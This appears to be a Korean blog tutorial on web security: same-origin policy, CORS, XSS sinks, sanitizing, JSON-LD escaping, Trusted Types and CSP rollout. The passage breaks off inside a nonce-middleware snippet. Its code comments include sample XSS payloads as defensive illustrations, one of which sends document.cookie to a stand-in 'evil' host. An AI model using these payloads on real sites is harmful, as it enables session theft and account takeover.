웹 보안, 신뢰 경계부터 CSP까지

웹 취약점은 이름부터 제각각입니다. XSS, CSRF, 오픈 리다이렉트,
postMessage오용. 목록으로 외우면 늘 새로운 항목이 하나 더 생기고, 정작 코드 앞에 앉으면 무엇부터 봐야 하는지 떠오르지 않습니다. 저도 오래 그랬습니다.그런데 이름 대신 데이터와 권한의 이동을 따라가면 공통된 모양이 보입니다. 누가 만든 값인지, 어느 출처의 코드인지, 어떤 권한을 가진 브라우저가 행동하는지, 그리고 그 사이의 경계에서 무엇을 확인했는지 묻는 방식입니다.
겉으론 제각각인 웹 취약점들, 사실은 하나의 관점으로 꿸 수 있지 않을까요?
이 글에서 다루는 내용
이 글은 브라우저가 기본으로 긋는 같은 출처 정책(Same-Origin Policy)에서 시작합니다. 그 위에 CORS, XSS, 컨텍스트별 이스케이프, Trusted Types, CSP, CSRF, 오픈 리다이렉트, postMessage를 차례로 올립니다.
용어를 늘어놓는 대신 출처(source)에서 싱크(sink)까지 어떤 데이터와 권한이 이동하는가를 따라갑니다. 마지막에는 실제 코드 리뷰에서 이 관점을 다시 꺼내 쓸 수 있도록 점검 순서와 체크리스트로 묶겠습니다.
- 들어가기 전에
- 세 가지 관점
- 브라우저가 먼저 긋는 경계: origin, SOP, CORS
- XSS
- 컨텍스트별 이스케이프
- CSP
- 그 밖의 신뢰 경계들
- 방법론
- 리뷰 체크리스트
- 용어 사전
- References
들어가기 전에
본론에 앞서 네 단어만 짚고 가겠습니다. 뒤에서 만날 방어책은 달라도 판단할 때 쓰는 질문은 여기에서 크게 벗어나지 않습니다.
- 신뢰할 수 없는 데이터(untrusted data): 아직 필요한 검증을 통과하지 않은 값입니다. 사용자 입력, URL 파라미터, 외부 API 응답,
postMessage데이터처럼 애플리케이션 바깥에서 온 값이 대표적입니다. "외부 서비스가 보냈다"는 사실만으로 내용까지 신뢰할 수 있는 것은 아닙니다. - 소스(source): 신뢰할 수 없는 값이 코드 안으로 들어오는 출발점입니다.
location.search, 폼 입력, 네트워크 응답이 여기에 해당합니다. - 싱크(sink): 값을 넣었을 때 보안상 민감한 동작이 일어나는 지점입니다.
innerHTML은 문자열을 HTML로 해석하고,eval()은 코드로 실행합니다. 리다이렉트 URL과 권한 변경 API도 각자의 싱크입니다. - 신뢰 경계(trust boundary): 데이터나 권한의 주체가 바뀌는 선입니다. 외부 입력이 DOM으로 들어갈 때뿐 아니라 다른 origin의 창이 메시지를 보내거나, 사용자 브라우저가 세션 쿠키를 실어 요청할 때도 경계를 넘습니다.
취약점(vulnerability)은 이 경계에 필요한 검증·인코딩·권한 확인이 빠진 상태입니다. 완화책(mitigation)은 취약점이 남거나 방어 하나가 실패했을 때 피해를 줄이는 다음 층입니다. 뒤에서 볼 CSP와 SameSite가 여기에 가깝습니다.
자주 듣게 될 공격들도 한 줄로 먼저 깔아두겠습니다. 지금은 이름과 한 줄 느낌만 알아도 충분합니다. 각각은 본문에서 자세히 다룹니다.
| 이름 | 한 줄로 말하면 |
|---|---|
| XSS | 공격자가 만든 마크업이나 코드가 우리 출처의 권한으로 실행되는 사고 |
| CSRF | 로그인된 내 브라우저가 나도 모르게 위조 요청을 보내는 사고 |
| 오픈 리다이렉트 | 우리 링크인 줄 알고 눌렀는데 외부 피싱 사이트로 튕기는 것 |
| 정보 노출 | 굳이 안 알려줘도 될 서버 정보가 응답에 새어 나가는 것 |
이 단어들을 쥐고, 제가 프로젝트 내내 사고의 토대로 삼았던 관점 세 가지부터 시작하겠습니다.
세 가지 관점
세부 취약점에 들어가기 전에, 프로젝트 내내 사고의 토대가 됐던 세 가지 관점을 먼저 공유합니다. 이 세 가지를 잡고 나니 나머지는 그 위에 얹혔습니다.
완화책과 취약점은 다른 레이어
CSP(Content-Security-Policy)는 XSS의 실행 경로를 줄이는 그물입니다. 공격자 입력이 innerHTML 같은 싱크에 닿는 원인 자체를 지워주지는 않습니다. 그래서 CSP를 적용했다는 사실은 싱크 감사를 끝낼 이유가 되지 않습니다.
반대도 같습니다. 싱크를 정리해도 이후 코드가 새 우회로를 만들 수 있으므로 CSP 같은 두 번째 방어층이 남아 있어야 합니다. 다만 script-src 'unsafe-inline'처럼 정책이 넓게 열려 있으면 그 그물의 구멍도 함께 커집니다.
신뢰 경계를 긋는 일
데이터가 사용자 입력, URL, 외부 iframe에서 DOM이나 관리자 기능으로 들어올 때 경계를 넘습니다. 권한도 이동합니다. 브라우저가 자동으로 세션 쿠키를 싣거나, 신뢰한 서드파티 스크립트가 우리 origin에서 실행되는 순간이 그렇습니다.
취약점이란 그 선을 넘을 때 검증·이스케이프·격리가 빠진 것입니다.
그래서 첫 질문은 "이 값과 행동은 누가 결정했는가?" 가 됐습니다. 코드에 고정된 값이라도 빌드 설정이나 태그 매니저가 바꿀 수 있다면 경계 밖의 영향이 남아 있습니다. 반대로 외부에서 왔더라도 목적에 맞는 검증과 안전한 API를 통과했다면 다음 단계로 넘길 수 있습니다.
"안전해 보인다"는 가설이다
개인적으로 크게 배운 부분입니다. 프로젝트 중에 자신 있게 내린 판단이 검증으로 두 번 뒤집혔습니다.
- 어떤 렌더링 컴포넌트를 "공개 노출 최우선 위험"이라고 봤는데, 실제 데이터 흐름을 따라가 보니 구조화된 상태를 프로그래매틱하게 DOM으로 조립하는 방식이라 안전했습니다.
- 어떤 sanitize 라이브러리가 이미지의 특정 속성을 떼어낸다고 단정했는데, 라이브러리 소스를 직접 열어보니 이미 허용하고 있었습니다. 불필요한 작업을 할 뻔했습니다.
교훈은 이렇습니다.
겉보기에 위험해 보이는 코드는 후보일 뿐입니다. 실제 위험은 데이터 흐름·런타임·1차 소스를 따라가 봐야 압니다. 추측만으로 단정하지 않는 편이 안전합니다.
Recap
완화책과 취약점은 서로 다른 층에 있고 둘 다 필요합니다. 코드에서는 값과 행동의 주체가 누구인지, 어디에서 경계를 넘는지 먼저 묻습니다. 그리고 눈에 보이는 API 이름만으로 안전성을 판정하지 않고 실제 데이터 흐름과 런타임 동작을 확인합니다.
브라우저가 먼저 긋는 경계: origin, SOP, CORS
웹 보안을 이해할 때 가장 먼저 필요한 단위는 도메인이 아니라 출처(origin)입니다. origin은 URL의 scheme, host, port가 모두 같은지를 봅니다.
| URL | https://app.example.com과의 관계 | 이유 |
|---|---|---|
https://app.example.com/settings | 같은 origin | 경로만 다름 |
http://app.example.com | 다른 origin | scheme이 다름 |
https://api.example.com | 다른 origin | host가 다름 |
https://app.example.com:8443 | 다른 origin | port가 다름 |
브라우저의 같은 출처 정책(Same-Origin Policy, SOP)은 한 origin의 문서나 스크립트가 다른 origin의 데이터와 DOM을 마음대로 읽지 못하게 막습니다. 악성 사이트의 JavaScript가 로그인된 메일함이나 사내망 응답을 그대로 읽을 수 없는 이유입니다. 웹의 기본 신뢰 경계가 이미 브라우저 안에 그어져 있는 셈입니다.
CORS는 경계를 없애는 설정이 아닙니다
서버가 특정 origin에 응답을 공유해야 할 때 CORS(Cross-Origin Resource Sharing)로 SOP의 읽기 제한을 선택적으로 풉니다. Access-Control-Allow-Origin은 "이 origin의 스크립트가 응답을 읽어도 된다"는 서버의 선언입니다.
여기서 자주 섞이는 세 문장을 분리해야 합니다.
- SOP는 브라우저가 교차 origin 상호작용을 제한하는 기본 정책입니다.
- CORS는 서버가 일부 교차 origin 응답 읽기를 허용하는 프로토콜입니다.
- CSRF는 응답을 읽지 못해도 요청을 보내는 것만으로 상태가 바뀔 때 성립할 수 있습니다.
단순 요청(simple request)은 HTML <form>으로도 다른 origin에 보낼 수 있습니다. 브라우저가 응답 본문을 공격자 코드에 보여주지 않는 것과 서버가 이미 요청을 처리했다는 사실은 별개입니다. 단순 요청이 개발자 도구에 CORS 오류로 보인다고 서버가 요청을 처리하지 않았다고 단정할 수 없습니다. CORS는 서버 인증이나 일반적인 CSRF 방어를 대신하지 않습니다.
CORS safelist에 없는 메서드·헤더를 쓰는 비단순 요청은 브라우저가 먼저 preflight OPTIONS 요청으로 허가를 묻습니다. 서버가 허용하지 않으면 본 요청은 보내지 않습니다. 이 성질을 이용해 상태 변경 API에 사용자 정의 헤더를 요구할 수는 있지만, 폼으로 보낼 수 있는 단순 요청과 잘못 열린 CORS 설정이 없는지도 함께 확인해야 합니다.
# 쿠키를 포함한 응답을 공유할 때는 * 대신 정확한 origin이 필요하다.
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Vary: Origin
요청의 Origin을 그대로 반사하려면 먼저 allowlist와 대조해야 합니다. Access-Control-Allow-Credentials: true와 임의 origin 반사가 함께 있으면 공격자 사이트가 사용자의 자격 증명으로 응답까지 읽는 통로가 됩니다. 여러 origin을 동적으로 허용한다면 캐시가 한 origin의 응답 헤더를 다른 origin에 재사용하지 않도록 Vary: Origin도 필요합니다.
Recap
origin은 scheme, host, port의 조합이고 SOP는 origin 사이의 읽기와 DOM 접근을 기본적으로 제한합니다. CORS는 서버가 선택한 origin에 응답 공유를 허용하는 장치입니다. 교차 origin 응답을 못 읽는다고 요청까지 안 보내지는 것은 아니므로 CORS와 CSRF 방어를 같은 것으로 취급하면 안 됩니다.
XSS
XSS(Cross-Site Scripting)는 공격자가 영향을 준 데이터가 마크업이나 코드로 해석되어 우리 origin의 권한으로 실행되는 취약점입니다. 이름에 script가 들어가지만 <script> 태그만의 문제는 아닙니다. 이벤트 핸들러, javascript: URL, HTML 파싱 뒤 생긴 실행 가능한 요소도 경로가 됩니다.
실행된 코드는 해당 페이지가 읽을 수 있는 DOM과 저장소에 접근하고 사용자 권한으로 요청을 보낼 수 있습니다. HttpOnly 쿠키 자체는 읽지 못해도 인증된 행동까지 막아주는 것은 아닙니다.
입력이 들어오고 실행되는 경로
- 저장형(Stored): 악성 입력이 서버에 저장됐다가 다른 사용자에게 렌더될 때 실행됩니다. 여러 사용자나 관리자 화면까지 닿으면 피해 범위가 커집니다.
- 반사형(Reflected): URL 등으로 들어온 입력이 그 응답에 그대로 박혀 실행됩니다.
- DOM 기반(DOM-based): 클라이언트 JavaScript가 공격자 입력을 위험한 DOM 싱크에 써서 실행됩니다.
저장형과 반사형은 주로 입력이 어디에서 왔고 어떻게 응답에 들어갔는지를 나누고, DOM 기반은 브라우저에서 어떤 싱크를 거쳐 실행됐는지를 설명합니다. 따라서 세 분류는 완전히 배타적이지 않습니다. 서버에 저장된 값이나 URL에서 반사된 값이 클라이언트 코드의 DOM 싱크를 거쳐 실행될 수도 있습니다. 프론트엔드는 DOM 기반 XSS의 핵심 방어 지점이지만, 안전성은 서버의 저장·출력 처리와 함께 봐야 합니다.
DOM XSS 싱크
DOM 기반 XSS는 결국 "위험한 함수에 신뢰할 수 없는 문자열이 닿는" 문제입니다. 그 위험한 함수들, 즉 싱크(sink)부터 알아두면 됩니다.
dangerouslySetInnerHTML/.innerHTML/.outerHTML/insertAdjacentHTML: HTML 문자열을 그대로 DOM에 주입srcdoc/DOMParser.parseFromString()/Range.createContextualFragment(): 문자열을 새 HTML 문맥으로 파싱eval()/new Function()/ 문자열을 받는setTimeout/setInterval: 문자열을 코드로 실행document.write()- 링크나 프레임, 탐색 API에 들어가는
javascript:URL
raw HTML을 주입할지, DOM을 조립할지
가장 먼저 나눌 것은 HTML 문자열을 파서에 넘기는가, 아니면 DOM API로 노드를 조립하는가입니다.
- 🔴 위험: 외부 문자열을 raw HTML 그대로 주입. 예를 들어 마크다운을 HTML로 변환하면서 allowlist 없이 통과시키면
<img src=x onerror=alert(1)>같은 입력이 그대로 실행됩니다. - 🟢 기본적으로 더 안전: 구조화된 상태 → DOM 조립. JSON 형태의 문서 상태에서
createElement와textContent·createTextNode를 사용하면 텍스트가 마크업으로 해석되지 않습니다.
다만 DOM을 조립한다고 모든 값이 자동으로 안전해지는 것은 아닙니다. href·src에는 javascript: 같은 위험한 scheme이 들어갈 수 있고, style·이벤트 핸들러 속성·srcdoc도 별도의 위험한 컨텍스트입니다. 텍스트는 텍스트 API로, URL은 scheme·origin allowlist를 거쳐 URL 속성으로 넣는 식으로 각 컨텍스트를 따로 검증해야 합니다.
아래는 같은 데이터를 위험하게 / 안전하게 다루는 대조 예시입니다.
// 🔴 위험: 외부 문자열을 raw HTML로 그대로 주입
function Comment({ body }: { body: string }) {
// body가 사용자 입력이면 아래 한 줄이 그대로 스크립트를 실행시킨다:
// body = '<img src=x onerror="fetch(`//evil/?c=` + document.cookie)">'
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}
// 🟢 안전 (1): 그냥 텍스트로 렌더하면 React가 자동으로 escape 한다
function Comment({ body }: { body: string }) {
return <div>{body}</div>; // 문자열을 마크업이 아닌 텍스트로 렌더링한다
}
// 🟢 안전 (2): HTML이 꼭 필요하면 sanitize를 거친 뒤 주입
import DOMPurify from "dompurify";
function RichComment({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html); // onerror·<script>·javascript: 제거
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
방어: 구조화하거나 sanitize하기
가장 단순한 방어는 HTML로 해석할 필요가 없는 값을 HTML 파서에 넘기지 않는 것입니다. textContent, createTextNode, 프레임워크의 일반 텍스트 렌더링을 먼저 고릅니다. 서식 있는 HTML이 꼭 필요할 때는 DOMPurify나 rehype-sanitize처럼 검토된 sanitizer를 사용합니다. 정규식으로 <script> 문자열만 지우면 다른 태그·속성·파싱 변형을 놓칩니다.
브라우저 표준인 HTML Sanitizer API에는 Element.setHTML() 같은 안전한 메서드도 생겼습니다. 하지만 이 글을 고치는 시점에도 일부 널리 쓰이는 브라우저에서 지원되지 않으므로 지원 범위를 확인해야 합니다. setHTMLUnsafe()는 이름 그대로 sanitizer 없이 쓰면 안전한 대체재가 아닙니다.
여기서 잠깐, 현대 프론트엔드에서 가장 흔히 마주치는 구체적인 사례 하나를 예로 들어 보겠습니다. 바로 마크다운 렌더링(블로그·댓글·위키 등)입니다. 입력을 그대로 HTML로 바꾸는 자리라, sanitize를 빠뜨리기 가장 쉬운 지점이기도 합니다.
- 마크다운에서 원문 HTML을 허용한다면
rehype-raw로 파싱한 뒤, 문자열로 직렬화하기 전에rehype-sanitize를 둡니다. 흔한 실수는 여러 렌더 경로 가운데 하나만 이 단계를 빠뜨리거나, sanitize한 결과를 다시 이어 붙여 새 HTML을 만드는 것입니다. rehype-sanitize의 기본 스키마(hast-util-sanitize의 GitHub식defaultSchema)는 allowlist 방식으로 동작합니다. 이 글을 검수한 버전에서는 다음과 같이 확인됐습니다.- 태그별 허용 속성과 전역
'*'허용 속성의 합집합으로 동작합니다. - 이벤트 핸들러(
onerror,onload등)와 위험한 scheme(javascript:)을 제거합니다. - 전역
'*'허용 속성에width/height가 있어<img width height>가 보존됩니다. 제가 처음에는 별도 확장이 필요하다고 오해했던 부분인데, 인자 없이rehypeSanitize()를 호출해도 이 기본 스키마를 씁니다.
- 태그별 허용 속성과 전역
스키마는 패키지 버전에 따라 달라질 수 있고, 기본값이 서비스의 허용 정책과 같다는 보장도 없습니다. 설치된 버전의 스키마와 실제 입출력을 확인하고 필요한 태그·속성만 명시적으로 확장해야 합니다.
// 마크다운 렌더 파이프라인엔 sanitize 한 단계를 '반드시' 끼운다
import { unified } from "unified";
import remarkParse from "remark-parse";
import remarkRehype from "remark-rehype";
import rehypeRaw from "rehype-raw";
import rehypeSanitize from "rehype-sanitize"; // ← 이 한 줄이 핵심 방어선
import rehypeStringify from "rehype-stringify";
const html = String(
await unified()
.use(remarkParse)
.use(remarkRehype, { allowDangerousHtml: true })
.use(rehypeRaw) // 원문 HTML까지 파싱
.use(rehypeSanitize) // defaultSchema: 이벤트핸들러·javascript: 제거
.use(rehypeStringify)
.process(markdown),
);
라이브러리가 무엇을 허용/제거하는지 궁금하면, 문서보다 소스의 스키마 정의를 보는 게 가장 빠르고 정확합니다. hast-util-sanitize라면 lib/schema.js에 전역 허용 속성이 그대로 적혀 있습니다.
sanitize를 통과한 결과도 이후 코드가 속성이나 문자열을 덧붙이면 다시 위험해질 수 있습니다. "한 번 검사했으니 영원히 안전한 문자열"이 아니라, 정해진 정책을 통과해 바로 해당 싱크에 넣을 결과로 다루는 편이 안전합니다.
빠뜨린 싱크를 드러내는 Trusted Types
sanitize 호출은 사람이 기억해야 합니다. Trusted Types는 CSP의 require-trusted-types-for 'script' 지시어와 함께 사용해 innerHTML 같은 DOM XSS 싱크가 평범한 문자열을 거부하도록 만듭니다.
Content-Security-Policy:
require-trusted-types-for 'script';
trusted-types app-html;
const htmlPolicy = trustedTypes.createPolicy("app-html", {
createHTML(input) {
return DOMPurify.sanitize(input);
},
});
target.innerHTML = htmlPolicy.createHTML(untrustedHtml); // 허용
target.innerHTML = untrustedHtml; // TypeError
require-trusted-types-for는 sink 누락을 런타임 오류로 바꿔 감사 범위를 줄입니다. 다만 정책 함수가 입력을 그대로 반환하면 이름만 Trusted일 뿐 안전하지 않습니다. trusted-types 지시어로 만들 수 있는 정책 이름을 제한하고 정책 구현 자체를 보안 경계로 검토해야 합니다. 최신 브라우저 전반의 지원은 2026년에 넓어졌지만 오래된 브라우저와 WebView에는 별도 경로가 필요합니다.
Recap
XSS는 공격자 영향 아래의 데이터가 우리 origin에서 실행 가능한 내용으로 해석될 때 생깁니다. 저장형·반사형은 입력 경로를, DOM 기반은 실행 경로를 설명하므로 서로 겹칠 수 있습니다. 텍스트는 텍스트 API로 처리하고 raw HTML이 필요할 때만 정책에 맞는 sanitizer를 사용합니다. Trusted Types는 빠뜨린 DOM 싱크가 평범한 문자열을 받지 못하게 강제하지만, 정책 함수의 안전성까지 대신 판단하지는 않습니다.
컨텍스트별 이스케이프
이스케이프는 특히 까다로운 부분입니다. 같은 값이라도 들어가는 위치(context)마다 안전한 삽입 방법과 추가 검증이 다릅니다.
| 컨텍스트 | 안전한 삽입 방법 | 추가로 확인할 것 |
|---|---|---|
| HTML 텍스트 노드 | 프레임워크의 일반 텍스트 렌더링이나 textContent·createTextNode 사용 | <와 &가 마크업이 아니라 텍스트로 처리되는지 확인 |
| HTML 속성 | 템플릿 문자열 대신 DOM 속성이나 프레임워크 prop 사용 | URL·스타일·이벤트 속성은 의미를 별도로 제한 |
실행형 <script> | 신뢰할 수 없는 값을 JavaScript 소스에 이어 붙이지 않고 데이터로 분리 | 검증된 serializer와 CSP 적용 |
JSON-LD <script> | JSON.stringify 결과의 <를 최소한 \u003c로 치환 | <가 사라지면 </script> 시퀀스가 성립하지 않으므로 /는 따로 이스케이프할 필요가 없음. >와 &도 함께 치환하면 방어 범위를 넓힐 수 있음 |
| URL | URL로 파싱한 뒤 URL 속성에 대입 | 퍼센트 인코딩만 믿지 말고 scheme과 origin을 allowlist로 검증 |
JSON-LD breakout
SEO용 구조화 데이터를 넣을 때 흔한 패턴이 JSON.stringify(...) 결과를 <script type="application/ld+json"> 안에 인라인하는 것입니다. 그런데 JSON.stringify는 <를 이스케이프하지 않습니다. 그래서 제목 같은 동적 필드에 </script>가 들어오면 스크립트 태그가 닫혀버리고, 그 뒤로 <img onerror=...> 같은 마크업을 주입할 수 있게 됩니다.
// 🔴 위험: JSON.stringify 결과를 그대로 <script>에 인라인
function StructuredData({ data }) {
return (
<script
type="application/ld+json"
// data.name 같은 동적 필드에 </script> 가 들어오면 태그가 닫혀버린다
dangerouslySetInnerHTML={{ __html: JSON.stringify(data) }}
/>
);
}
// 공격 입력: data.name = '</script><img src=x onerror=alert(1)>'
// 실제 렌더:
// <script type="application/ld+json">
// {"name":"</script><img src=x onerror=alert(1)>"}
// ↑ 여기서 스크립트 태그가 닫히고, 뒤의 <img>가 실행된다
// </script>
여기서 두 가지 함정을 배웠습니다.
함정 1. 이스케이프는 반드시 직렬화 이후에.
입력을 먼저 유니코드 이스케이프로 바꾼 다음 JSON.stringify하면, stringify가 그 백슬래시를 다시 이스케이프(\ → \\)해서 값이 깨집니다. 이른바 이중 이스케이프(double escape)입니다. 머리로만 생각하면 놓치기 쉬워서, 직접 돌려보고서야 확인했습니다.
함정 2. 직렬화 결과를 한 번에 치환합니다.
// JSON.stringify 결과에서 위험 문자만 \u 형태로 치환한다.
// 정적/구조 문자에는 < > & 가 없으므로, 사실상 동적 입력값만 건드린다.
const ESCAPE = { "&": "\\u0026", "<": "\\u003c", ">": "\\u003e" };
function escapeJsonForScript(obj) {
return JSON.stringify(obj).replace(/[&<>]/g, (c) => ESCAPE[c]);
}
// 앞의 공격 입력을 그대로 넣어 보면, 결과 JSON 속 모든 < 와 > 가
// 위 ESCAPE 맵의 유니코드 이스케이프 형태로 치환된다:
escapeJsonForScript({ name: "</script><img src=x onerror=alert(1)>" });
// 이렇게 되면 "</script>" 의 '<' 가 이스케이프돼 더 이상 스크립트를 닫는
// 태그로 인식되지 않는다. 뒤의 <img onerror> 도 그냥 데이터일 뿐 → 안전.
이 패턴은 실제 구현에서도 확인할 수 있습니다. Next.js의 htmlEscapeJsonString은 소스 첫 줄에서 zertosh/htmlescape를 기반으로 했다고 밝히고, 같은 lookup 치환을 사용합니다. Go 표준 라이브러리의 encoding/json.HTMLEscape도 <, >, &, U+2028, U+2029를 같은 유니코드 이스케이프로 바꿉니다. 두 구현 사이의 직접 계보를 추측할 필요는 없지만, 같은 방어 패턴이 독립적인 1차 소스에 반복된다는 점은 확인할 수 있습니다.
Recap
값을 어디에 넣느냐에 따라 안전한 API와 검증 방식이 달라집니다. 텍스트는 텍스트 API로 처리하고, URL은 파싱한 뒤 scheme과 origin을 제한하며, 신뢰할 수 없는 값을 JavaScript 소스에 이어 붙이지 않습니다. JSON을 <script>에 인라인할 때는 직렬화 결과의 <를 최소한 \u003c로 바꿔 </script> 탈출을 막아야 합니다. 입력을 먼저 바꾸면 이중 이스케이프로 값이 깨질 수 있습니다.
CSP
CSP(Content-Security-Policy)는 브라우저가 허용할 리소스 출처와 스크립트 실행 방식, 폼 제출·프레이밍 같은 동작을 제한하는 정책입니다. 잘 구성한 script-src는 주입된 스크립트의 실행을 막고, connect-src·img-src·form-action 등을 함께 좁히면 데이터 유출 경로도 줄일 수 있습니다. 한두 지시어만 추가했다고 모든 XSS와 유출이 자동으로 막히는 것은 아닙니다.
directive
directive는 "무엇을" 통제할지 고르는 스위치입니다. 성격에 따라 크게 세 묶음으로 나뉩니다.
- fetch directive(리소스 로드 출처):
script-src(스크립트/WASM),style-src(CSS),img-src,font-src,connect-src(fetch/XHR/WebSocket),media-src(video/audio),frame-src(<iframe>),worker-src,object-src(<object>/<embed>) 등. 대부분은 지정하지 않으면default-src로 폴백되므로default-src 'self'또는 더 좁은'none'이 기본 그물 역할을 합니다. - navigation / document directive(이동·문서 통제):
frame-ancestors(누가 나를 iframe으로 감쌀 수 있나,X-Frame-Options를 대체),form-action(폼 제출 대상 제한),base-uri(<base>조작 차단),sandbox. - reporting directive(위반 보고):
report-to가 현재 표준이고,report-uri는 deprecated지만 브라우저 호환을 위해 아직 같이 씁니다. 자세한 차이는 놓치기 쉬운 뉘앙스들에서 다룹니다.
frame-ancestors, form-action, base-uri처럼 default-src 값을 물려받지 않는 지시어도 있습니다. default-src 'none'만 보고 프레이밍과 폼 제출까지 막혔다고 생각하면 빈틈이 생깁니다.
<object>나<base>를 쓰지 않는 서비스라면object-src 'none'과base-uri 'none'으로 공격 표면을 좁힐 수 있습니다.
# Report-Only: 차단 없이 위반만 수집 (정찰 단계). 실제 헤더는 한 줄이지만 가독성을 위해 줄바꿈
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self' https://trusted.cdn.example;
img-src 'self' data: https:;
report-uri https://example.report-collector.com/csp;
# enforce: 같은 정책을 '실제로 차단'. 안정화되면 헤더 이름만 바꾼다
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.cdn.example;
img-src 'self' data: https:;
source 값
directive가 "무엇을"이라면, 그 뒤에 붙는 source 값이 "어디까지 허용할지"를 정합니다. CSP 방어의 강도는 사실상 이 값에서 갈립니다. 같은 script-src라도 'unsafe-inline'이 붙었느냐 'nonce-…'가 붙었느냐로 XSS를 막느냐 못 막느냐가 달라집니다.
| source 값 | 의미 | 신뢰 경계 관점 |
|---|---|---|
'self' | 보호되는 문서와 같은 origin을 허용 | 좁은 기본값이지만 같은 origin의 모든 경로를 신뢰함 |
'none' | 전부 차단 | object-src 'none'처럼 아예 봉쇄 |
example.com · *.example.com · https: | host·scheme allowlist | 넓힐수록 신뢰 집합이 커진다: 와일드카드 남발은 곧 표면 확대 |
🔴 'unsafe-inline' | 해당 directive의 인라인 코드 허용. script-src에서는 인라인 스크립트·이벤트 핸들러 등을 허용 | 스크립트에 적용하면 XSS 완화 효과가 크게 약해짐 |
🔴 'unsafe-eval' | eval·new Function·문자열 setTimeout 허용 | 코드 실행 싱크를 열어줌 |
🟢 'nonce-<랜덤값>' | 일치하는 nonce를 단 <script>·<style> 요소를 허용 (매 응답 새로 발급) | 서버가 생성하는 요소를 요청 단위로 신뢰 |
🟢 'sha256-<해시>' | 내용 해시가 일치하는 인라인만 허용 | 내용이 안 바뀌는 정적 인라인에 적합 |
'strict-dynamic' | nonce/hash로 신뢰된 스크립트가 비 parser 삽입 방식으로 불러온 스크립트에 신뢰를 전파 | 지원 브라우저에서는 host·scheme allowlist, 'self', 'unsafe-inline'을 무시하므로 로더 코드가 새 신뢰 경계가 됨 |
핵심은 nonce/hash vs 'unsafe-inline' 의 대립입니다.
- nonce: 서버가 암호학적으로 안전한 난수로 매 응답 새 값을 발급해 CSP 헤더와
<script nonce="…">양쪽에 심고, 브라우저가 둘을 대조해 일치하는 요소만 실행합니다. CSP 규격은 최소 128비트의 엔트로피를 권고합니다. 인라인 코드뿐 아니라src가 있는 script 요소에도 사용할 수 있습니다. - hash: 스크립트 내용의 SHA-256/384/512를 미리 계산해 넣어두면, 브라우저가 내용을 해시해 대조합니다. 내용이 바뀌면 깨지므로 → 정적 인라인(빌드 산출물 등)에 씁니다.
- nonce나 hash가 지정되면 브라우저는 같은 directive의
'unsafe-inline'을 무시합니다. 그래서 "구형 브라우저 폴백으로'unsafe-inline'을 같이 둬도, nonce를 아는 최신 브라우저에선 자동으로 무력화"되는 점진 전략이 가능합니다.
'strict-dynamic'은 host allowlist를 계속 늘리는 대신 신뢰된 로더의 체인을 따르게 해 정책을 단순화합니다. 그만큼 nonce를 받은 스크립트가 공격자 영향 아래의 URL을 그대로 로드하지 않는지 점검해야 합니다. 이 키워드가 취약한 로더까지 안전하게 만들어 주는 것은 아닙니다.
Report-Only 점진 롤아웃
CSP를 갑자기 켜면 정당한 리소스까지 막혀 사이트가 깨집니다. 그래서 차단하기 전에 관측합니다. CSP를 실제로 켜면서 익힌 순서입니다.
- 인벤토리: 페이지가 실제로 어떤 origin의 리소스를 쓰는지 조사하고, 헤더를 어느 레이어에서 붙일지(엣지냐 서버냐) 정합니다.
- Report-Only 적용:
Content-Security-Policy-Report-Only헤더로 아무것도 차단하지 않고 위반만 수집합니다. 수집은 Sentry 같은 곳으로 보냅니다. - 튜닝 루프: 실제 위반 리포트를 보고 정당한 origin만 allowlist에 추가합니다. 보통 여러 회차를 돕니다. 예를 들어 특정 동영상 CDN이
media-src에서 빠져 있던 갭이 이 단계에서 잡힙니다. - enforce 전환: 충분히 안정화되면 모드만 바꿔 실제 차단을 시작합니다.
Report-Only는 "무엇이 깨지는지"를 프로덕션 트래픽으로, 사용자 피해 없이 미리 알아본 뒤 정책을 확정하는 단계입니다. CSP뿐 아니라 "조이는" 성격의 변경 전반에 적용할 수 있습니다.
놓치기 쉬운 뉘앙스들
script-src 'unsafe-inline'이 실질적으로 적용되면 인라인 스크립트 주입을 막기 어렵습니다. 동적 인라인에는 nonce, 정적 인라인에는 hash를 사용합니다.'strict-dynamic'은 신뢰 체인 기반 정책을 만들 때 유용하지만 모든 사이트의 필수 조건은 아닙니다.style-src 'unsafe-inline'은 일부 런타임 CSS-in-JS 구성에서 흔히 남습니다. 라이브러리가 nonce를 지원하는지, 빌드타임 추출이나 외부 스타일시트로 옮길 수 있는지 확인한 뒤 불가피한 범위만 허용합니다.- 보고는
report-to로, 폴백은report-uri로. 위반 리포트를 받는 표준은 이제report-to이고, 이건 directive에는 엔드포인트 이름만 적고, 실제 URL은 별도의Reporting-Endpoints응답 헤더에서 정의합니다.report-uri(URL 직접 기입)는 deprecated지만 아직report-to를 모르는 브라우저가 있어, 과도기엔 둘 다 두는 게 안전합니다. 'report-sample'을 넣으면 위반 리포트에 차단된 인라인 코드의 앞 40자가 함께 담겨, 어떤 스크립트가 걸렸는지 디버깅이 훨씬 수월합니다.- 정책을 만드는 레이어와 HTML을 만드는 레이어의 책임을 맞춥니다. nonce 기반 정책은 같은 요청에서 헤더와
<script nonce>를 함께 생성할 수 있어야 합니다. 정적 사이트처럼 hash나 외부 스크립트만 쓰는 경우에는 CDN·엣지의 정적 헤더도 충분합니다. 어느 레이어를 택하든 배포·관측·롤백 경로를 한곳에 모아야 정책과 실제 응답 헤더가 서로 다른 상태로 남는 일을 줄일 수 있습니다.
# report-to 표준형: directive엔 '이름'만, 실제 URL은 Reporting-Endpoints 헤더에서
Reporting-Endpoints: csp-endpoint="https://example.report-collector.com/csp"
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self' 'nonce-r4nd0m' 'strict-dynamic';
report-uri https://example.report-collector.com/csp; # 구형 브라우저 폴백(deprecated)
report-to csp-endpoint; # 최신 표준
// nonce 기반 정책은 서버가 매 요청 새 값을 만들고 HTML에도 같은 값을 넣는다.
// 모드 전환은 배포 환경에 맞는 설정 계층에서 관리한다.
import crypto from "node:crypto";
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString("base64");
res.locals.nonce = nonce; // 템플릿에서 <script nonce="..."> 로 사용
const header =
process.env.CSP_ENFORCE === "true"
? "Content-Security-Policy"
: "Content-Security-Policy-Report-Only"; // 도입·변경 검증 단계
res.setHeader(
header,
